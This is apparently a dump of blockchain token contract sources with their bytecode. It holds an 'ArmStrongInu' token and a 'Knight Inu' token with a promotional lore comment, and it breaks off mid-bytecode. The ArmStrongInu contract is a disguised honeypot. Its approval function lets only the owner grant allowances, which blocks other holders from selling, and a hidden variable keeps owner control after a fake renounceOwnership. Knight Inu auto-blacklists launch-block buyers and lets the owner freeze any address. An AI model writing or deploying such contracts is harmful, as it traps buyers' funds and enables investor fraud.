(bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ArmStrongInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'ArmStrongInu | https://t.me/armstronginu'; string private _symbol = 'NASA️'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201cb8f02d499245471180f9a632f7f8aedb578ab23d48169a2ec562e9e1eff01d64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,112
0x9e562e626fbc4c2e7069a9a2c842cb246ddc3f6e
/* Knight Inu https://t.me/knightinuportal The deterrent of jeets The Knights of the Round Table were the best knights in King Arthur's kingdom legends. The roundtable usually consists of 12 knights as core members. However, most of the people don’t know there is a hidden knight remain unnamed in the notable Camelot’s history He is considered as King Arthur's close companion and one of the greatest Knights of the Round Table. He is raised in the fairy realm by the Lady of the lake. A hero of many battles, quests and tournaments, and famed as a nearly unrivalled swordsman and jouster. The position Knight Inu occupies as Knights of the Round Table is known as the Empty Seat. Although Knight Inu itself is a part of the Round Table, it is said to act as a deterrent to others of its kind. It typically prefers to remain hidden due to its special role as deterrent. Knight Inu has now migrated from Camelot to the cryptoword and acts as the deterrent of jeets now. Knight Inu offers a very simple burn system. Numbers of token will be burned to ensure the stability and growth potential of the token to keep jeets away. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract KNIGHT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Knight Inu"; string private constant _symbol = "KNIGHT"; uint private constant _decimals = 9; uint256 private _teamFee = 13; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(3).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.mul(4).div(13); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function startContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function startTrade() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (5 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 13); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c80636c580801116100b6578063a9059cbb1161006f578063a9059cbb146103e8578063b515566a14610408578063cf0848f714610428578063dd62ed3e14610448578063e6ec64ec1461048e578063f2fde38b146104ae57600080fd5b80636c5808011461032757806370a082311461033c578063715018a61461035c5780638da5cb5b1461037157806390d49b9d1461039957806395d89b41146103b957600080fd5b806331c2d8471161010857806331c2d847146102405780633bbac57914610260578063437823ec14610299578063476343ee146102b95780635342acb4146102ce5780636c4fe59b1461030757600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b757806318160ddd146101e757806323b872dd1461020c578063313ce5671461022c57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104ce565b005b34801561017e57600080fd5b5060408051808201909152600a8152694b6e6967687420496e7560b01b60208201525b6040516101ae919061190e565b60405180910390f35b3480156101c357600080fd5b506101d76101d2366004611988565b61051a565b60405190151581526020016101ae565b3480156101f357600080fd5b50670de0b6b3a76400005b6040519081526020016101ae565b34801561021857600080fd5b506101d76102273660046119b4565b610531565b34801561023857600080fd5b5060096101fe565b34801561024c57600080fd5b5061017061025b366004611a0b565b61059a565b34801561026c57600080fd5b506101d761027b366004611ad0565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a557600080fd5b506101706102b4366004611ad0565b610630565b3480156102c557600080fd5b5061017061067e565b3480156102da57600080fd5b506101d76102e9366004611ad0565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031357600080fd5b50610170610322366004611ad0565b6106b8565b34801561033357600080fd5b50610170610913565b34801561034857600080fd5b506101fe610357366004611ad0565b6109cb565b34801561036857600080fd5b506101706109ed565b34801561037d57600080fd5b506000546040516001600160a01b0390911681526020016101ae565b3480156103a557600080fd5b506101706103b4366004611ad0565b610a23565b3480156103c557600080fd5b5060408051808201909152600681526512d39251d21560d21b60208201526101a1565b3480156103f457600080fd5b506101d7610403366004611988565b610a9d565b34801561041457600080fd5b50610170610423366004611a0b565b610aaa565b34801561043457600080fd5b50610170610443366004611ad0565b610bc3565b34801561045457600080fd5b506101fe610463366004611aed565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049a57600080fd5b506101706104a9366004611b26565b610c0e565b3480156104ba57600080fd5b506101706104c9366004611ad0565b610c4b565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104f890611b3f565b60405180910390fd5b600061050c306109cb565b905061051781610ce3565b50565b6000610527338484610e5d565b5060015b92915050565b600061053e848484610f81565b610590843361058b85604051806060016040528060288152602001611cba602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113c7565b610e5d565b5060019392505050565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016104f890611b3f565b60005b815181101561062c576000600560008484815181106105e8576105e8611b74565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062481611ba0565b9150506105c7565b5050565b6000546001600160a01b0316331461065a5760405162461bcd60e51b81526004016104f890611b3f565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062c573d6000803e3d6000fd5b6000546001600160a01b031633146106e25760405162461bcd60e51b81526004016104f890611b3f565b600c54600160a01b900460ff161561074a5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f8565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c59190611bbb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610812573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108369190611bbb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610883573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a79190611bbb565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461093d5760405162461bcd60e51b81526004016104f890611b3f565b600c54600160a01b900460ff166109a15760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f8565b600c805460ff60b81b1916600160b81b17905542600d8190556109c69061012c611bd8565b600e55565b6001600160a01b03811660009081526001602052604081205461052b90611401565b6000546001600160a01b03163314610a175760405162461bcd60e51b81526004016104f890611b3f565b610a216000611485565b565b6000546001600160a01b03163314610a4d5760405162461bcd60e51b81526004016104f890611b3f565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610527338484610f81565b6000546001600160a01b03163314610ad45760405162461bcd60e51b81526004016104f890611b3f565b60005b815181101561062c57600c5482516001600160a01b0390911690839083908110610b0357610b03611b74565b60200260200101516001600160a01b031614158015610b545750600b5482516001600160a01b0390911690839083908110610b4057610b40611b74565b60200260200101516001600160a01b031614155b15610bb157600160056000848481518110610b7157610b71611b74565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bbb81611ba0565b915050610ad7565b6000546001600160a01b03163314610bed5760405162461bcd60e51b81526004016104f890611b3f565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c385760405162461bcd60e51b81526004016104f890611b3f565b600d811115610c4657600080fd5b600855565b6000546001600160a01b03163314610c755760405162461bcd60e51b81526004016104f890611b3f565b6001600160a01b038116610cda5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f8565b61051781611485565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081